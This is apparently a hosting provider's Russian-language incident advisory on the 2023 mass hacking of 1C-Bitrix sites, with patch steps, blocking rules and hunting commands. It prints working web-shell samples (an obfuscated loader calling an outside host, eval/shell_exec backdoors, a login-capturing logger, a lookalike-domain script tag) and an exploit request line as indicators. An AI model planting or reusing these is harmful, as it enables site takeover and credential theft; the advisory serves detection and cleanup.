26 мая 2023 года произошел массовый взлом сайтов на CMS 1С-Битрикс, в результате чего злоумышленники получили доступ к множеству сайтов и разместили на них вредоносное содержимое. После этого НКЦКИ (Национальный координационный центр по компьютерным инцидентам) выпустил рекомендации, как закрыть ряд известных уязвимостей, чтобы защитить сайты от взлома.
Взлом и заражение сайтов были выполнены с использованием двух основных уязвимостей: модуля голосования и HTML-редактора.
Уязвимость впервые зафиксирована 17 марта 2022 года. Она проявляется в том, что позволяет злоумышленнику записать произвольные файлы в систему посредством отправки специально сформированных сетевых пакетов. Данная уязвимость присутствует в модуле «vote» CMS «1С-Битрикс: Управление сайтом» до версии 22.0.400 всех редакций, кроме «Старт».
Если на WEB-сервере включено логирование POST-запросов, то в результате успешной эксплуатации CVE-2022-27228, в лог файл запишется строка, содержащая успешный POST-запрос к файлу «/bitrix/tools/vote/uf.php»
Пример:
POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.0 200
Уязвимость впервые зафиксирована 17 марта 2022 года. Она проявляется в том, что позволяет злоумышленнику выполнить произвольный код на целевой системе. Данная уязвимость присутствует в модуле «fileman» в файле «html_editor_action.php».
Если на WEB-сервере включено логирование POST-запросов, то в результате успешной эксплуатации уязвимости в лог файл запишется строка, содержащая успешный POST-запрос к файлу «/bitrix/tools/html_editor_action.php»
Пример:
POST /bitrix/tools/html_editor_action.php HTTP/1.0" 200
Закрывать уязвимости важно для защиты систем от потенциальных атак. Когда уязвимость остается открытой, злоумышленники могут использовать ее для вторжения, кражи данных или нарушения работы системы.
Выполните следующие действия:
«Проактивный фильтр (Web Application Firewall)»
«Контроль активности»
Если обновление CMS невозможно, то следует ограничить доступ к уязвимым скриптам средствами кода PHP или веб-сервера.
Необходимо модифицировать следующие файлы:
/bitrix/tools/upload.php
/bitrix/tools/mail_entry.php
/bitrix/modules/main/include/virtual_file_system.php
/bitrix/components/bitrix/sender.mail.editor/ajax.php
/bitrix/tools/vote/uf.php
/bitrix/tools/html_editor_action.php
/bitrix/admin/site_checker.php
Перед функцией «require_once» добавить следующий код:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header("Status: 404 Not Found");
die();
}
Добавить в конфигурацию WEB-сервера запрещающие правила. Пример правил для NGINX:
location /bitrix/tools/vote/uf.php {
if ($request_method = POST ) {
deny all;
}
}
location /bitrix/tools/html_editor_action.php {
if ($request_method = POST ) {
deny all;
}
}
После взлома сайтов злоумышленники внедряют вредоносный код в файлы сайтов, чтобы иметь возможность выполнения вредоносных действий даже после устранения уязвимостей HTML-редактора и модуля голосования, либо ограничения доступа к уязвимым скриптам. Поэтому помимо устранения уязвимостей необходимо проверить все файлы сайта на наличие вредоносного кода. Наиболее типичные варианты заражения приведены ниже.
Пример вредоносного кода:
<?php goto i1FWb; Abovx: @ob_end_flush(); goto r7Sul; KiCa_: $botbotbotbot = "\x2e\x2e\x2e" . $_SERVER["\x48\124\124\120\x5f\125\123\105\122\137\101\107\x45\x4e\124"]; goto eGR0S; i1FWb: @ob_implicit_flush(true); goto Abovx; r7Sul: @error_reporting(0); goto KiCa_; VwhLp: if (strpos($botbotbotbot, "\157\x6f\147\x6c\145") or strpos($botbotbotbot, "\151\156\147") or strpos($botbotbotbot, "\141\x68\157\x6f")) { $xxx = base64_decode("\116\121\x3d\x3d"); $xxx1 = base64_decode("\x4e\x6a\x45\75"); $xxx2 = base64_decode("\116\x54\x67\75"); $xxx3 = base64_decode("\x4d\x54\125\x3d"); $xxx4 = base64_decode("\x61\x57\x35\x77\144\x58\x51\x3d"); $xxx0 = base64_decode("\141\x48\122\60\143\x44\x6f\166\114\167\x3d\75"); $xxx00 = $xxx . "\56" . $xxx1 . "\x2e" . $xxx2 . "\x2e" . $xxx3; $xxx11 = $xxx4 . "\57\x3f\x75\x73\x65\162\x61\x67\x65\156\164\x3d" . $botbotbotbot . "\46\x64\x6f\x6d\141\x69\156\75" . $_SERVER["\x48\124\124\120\137\x48\x4f\x53\124"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\x68\x72\x65\x66\x3d") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "\150\162\x65\146\x3d") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\x20\50{$errno}\51\74\x62\x72\40\57\x3e\12"; } else { $req = "\x2f" . $xxx11; $out = "\x47\105\x54\40{$req}\40\110\124\124\x50\57\61\56\x30\15\xa"; $out .= "\x48\157\163\164\72\40{$url}\15\12"; $out .= "\x43\x6f\156\x6e\x65\143\x74\151\157\156\72\x20\x43\x6c\157\x73\x65\xd\xa\15\12"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\12", $text); $text = $text[7]; echo $text; } } goto mv4nT; eGR0S: $botbotbotbot = str_replace("\x20", "\x2d", $botbotbotbot); goto VwhLp; mv4nT: ?>
Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.
Следует обратить внимание, что иногда оригинальный код полностью удаляется из файла, и в таком случае следует попытаться восстановить файл из резервной копии.
Пример вредоносного кода:
if(isset($_REQUEST["state"]) && is_string($_REQUEST["state"]))
{
$arState = array();
parse_str(base64_decode($_REQUEST["state"]), $arState);
echo $arState[0]($arState[1],$arState[2]);
die();
}
Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.
Пример вредоносного кода:
<?
if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")
parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2]))));
?>
Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.
Пример вредоносного кода:
define("BX_CONTROLLER_CLIENT_X", base64_decode("QlhfVE9LRU4="));
if(isset($_POST[BX_CONTROLLER_CLIENT_X]) && !empty($_POST[BX_CONTROLLER_CLIENT_X])){
$APPLICATION->RestartBuffer();
CControllerClient::RunCommand(hex2bin(str_rot13($_POST[BX_CONTROLLER_CLIENT_X])), 0, 0);
die();
}
Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.
Данный файл полностью создаётся злоумышленниками. Если данный файл обнаружен, требуется его удалить и начать проверку сайта на предмет других признаков заражения.
Пример вредоносного кода:
function urlDecodeText($encodedText) {return urldecode(base64_decode(hex2bin($encodedText)));}
CModule::IncludeModule('controller');
$cache = $_POST['cache'];
if(isset($_POST['hash']) && $_POST['hash'] === '8qx1zzag1zxm6i9ulutq0gos4uo') $result = CControllerClient::RunCommand(urlDecodeText($cache), 0, 0);
Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.
Пример вредоносного кода:
echo "<script src='https://code.jquery-uii.com/jquery-ui.js'></script>";
Встраивает на страницы сайта сторонний JS-скрипт, что позволяет злоумышленникам изменять их содержимое.
<?if(isset($_GET['micat']))echo shell_exec($_GET['micat']);if(isset($_GET['midog']))echo eval($_GET['midog']);
Предоставляет злоумышленникам возможность выполнения произвольных команд с правами веб-сервера, в том числе возможность изменения произвольных файлов сайта.
Пример вредоносного кода:
file_put_contents(..., print_r($_REQUEST,1))
Приводит к созданию в каталоге “/bitrix/tools/” файла(ов) .sess/.idSess/.session в которые записываются все попытки аутентификации (в т. ч. логин, пароль и session cookie). Дополнительная опасность в том, что в эти файлы могут записываться также session cookie для других веб-приложений, существующих на том же домене, что и скомпрометированная CMS 1С-Битрикс. В таком случае злоумышленник получает доступ не только к административной панели Bitrix, но и валидную сессию для других веб-приложений.
Проверка на вредоносный код является важной превентивной мерой, которая защищает информационные системы и данные от множества угроз, обеспечивая безопасность и надежность для пользователей и организаций. Можно воспользоваться, как готовыми модулями битрикса для поиска вредонсного кода, так и изучить логи сервера, на предмет внедрения вредоносног кода. Далле мы рассмотрим несколько способов, как найти вредоносный код
Необходимо установить из каталога готовых решений “1С-Битрикс:Поиск троянов” и запустить сканирование. Для запуска сканирования, нужно открыть панель управления сайта и перейти по следующим вкладкам:
Настройки → bitrix.xscan → Поиск.
Модуль отсканирует весь сайт и отобразит выявленные подозрительные файлы.
Нужно проверить наличие нетипичных файлов для CMS Битрикс. Были выявлены следующие индикаторы взлома сайта
Имя файла | Директория для поиска | Пример команды для поиска |
---|---|---|
xmlrpcs.php | Искать во всех папках сайта | find ./ -name xmlrpcs.php |
inputs.php | Искать во всех папках сайта | find ./ -name inputs.php рекомендуется исключить из поиска легитимный файл: /bitrix/modules/sale/lib/delivery/inputs.php |
l.php | /bitrix/src/app/ | find ./ -name l.php |
spread.php | /bitrix/tools/ /bitrix/ | find ./ -name spread.php |
access.php wp.php term.php locale.php themes.php network.php container.php router.php wp-login.php | /bitrix/modules/iblock/lib/bizproctype/ | find ./ -name access.php Искать все перечисленные файлы в указанной директории |
.cas.php .cas.tmp.php | /bitrix/tools/ | find ./ -name .cas.php | Искать все перечисленные файлы в указанной директории
send_trait_imap.php | /bitrix/tools/ | find ./ -name send_trait_imap.php |
seo_page_ajax.php | /bitrix/tools/ | find ./ -name seo_page_ajax.php |
.sess .idSess .session | /bitrix/tools/ | find / -name '.sess' -o -name '.idSess' -o -name '.session' |
Также требуется обратить внимание на все файлы с несловарным, случайно сгенерированным именем из набора символов [a-z, 0-9] в каталоге /bitrix/admin/ и в корневой директории сайта. Примеры файлов:
1. Проверить POST-запросы к файлам из Таблица №1 с кодом ответа 200. Пример запроса:
grep -E 'POST xmlrpcs.php' /var/log/nginx/access.log* | grep ' 200 '
2. Проверить POST-запросы, с кодом ответа 200, содержащие фрагменты строки из списка №1.
Список №1. Известные вредоносные фрагменты в POST-запросах:
Пример запроса:
grep -E 'POST bitrixxx' /var/log/nginx/access.log* | grep ' 200 '
Для ‘BX_STAT’ поиска лучше воспользоваться регулярным выражением:
grep -E 'POST BX_STAT[^E]' /var/log/nginx/access.log* | grep ' 200 '
Кроме создания новых файлов, злоумышленники могут вносить изменения в существующие файлы с целью встраивания вредоносного кода. Для этого необходимо проверить наличие в исходном коде приложения фрагментов строк из Списка №2.
Список №2. Известные вредоносные фрагменты в файлах сайта:
Пример команды для поиска изменённых файлов:
grep -Er 'str_rot13|md5\(\$_COOKIE|bitrixxx|eval\(base64_decode|BX_STAT[^E]|BX_TOKEN|parse_str\(hex2bin|iasfgjlzcb|QlhfVE9LRU4=|gzinflate\(base64_decode|C\.A\.S|urldecode\(base64_decode\(hex2bin|print_r\(\$_REQUEST\,1' /*
Примечание 1
Из результатов поиска по «str_rot13» необходимо исключить следующие файлы:
В этих файлах функция «str_rot13()» используется по умолчанию.
Примечание 2
Известные файлы, в которые встраивается вредоносный код:
Примечание 3
Следует обратить внимание, что искать стоит не только по файлам приложения (.php), так как злоумышленники в том числе используют технику с записью файла “.htaccess” для изменения конфигурации веб-сервера.
1 Проверить планировщик задач (cron) на наличие нелегитимных задач. Пример запроса:
ls /etc/cron*
2 На странице со списком Агентов «1С-Битрикс» (/bitrix/admin/agent_list.php) проверить вызываемые функции на наличие вредоносного кода. Для этого необходимо открыть панель управления сайта и перейти на следующую вкладку:
Настройки > Настройки продукта > Агенты
Название агента может быть любым, но, скорее всего, вредоносный Агент будет виден визуально. Также видно наличие функции eval(), которую агенты содержать не должны. Пример кода на скриншоте.
Если не закрывать уязвимости на сайте, то его могут взломать злоумышленники. После этого сайт перестаёт корректно работать. Также они могут разместить либо ссылки, ведущие на запрещенные ресурсы, либо материалы нарушающие законодательство РФ.
В таком случае нам придется заблокировать сайт. Также сайт заблокирует НКЦКИ (Национальный координационный центр по компьютерным инцидентам), в результате чего, сайт перестанет отображаться у всех пользователей сети интернет. Кроме этого может посследовать уведомление от РКН о полной блокировки сайта, либо запрос от МВД о том, кто размещал запрещенную информацию на сайте.
Если сайт был заблокирован НКЦКИ, то после очистки сайта и восстановления его работоспособности, нужно написать на почту incident@cert.gov.ru. В письме укажите имя сайта, напишите, что все уязвимости и заражения были устранены, и что вы просите разблокировать сайт. После того как НКЦКИ убедится, что заражение и уязвимости на сайте былы устранены, сайт будет разблокирован и виден всем пользователям сети интернет.
Контактные данные НКЦКИ
107031, г. Москва, ул. Большая Лубянка, д. 1/3
Email: incident@cert.gov.ru
Сайт: http://cert.gov.ru/
Тел.: +7 (916) 901-07-42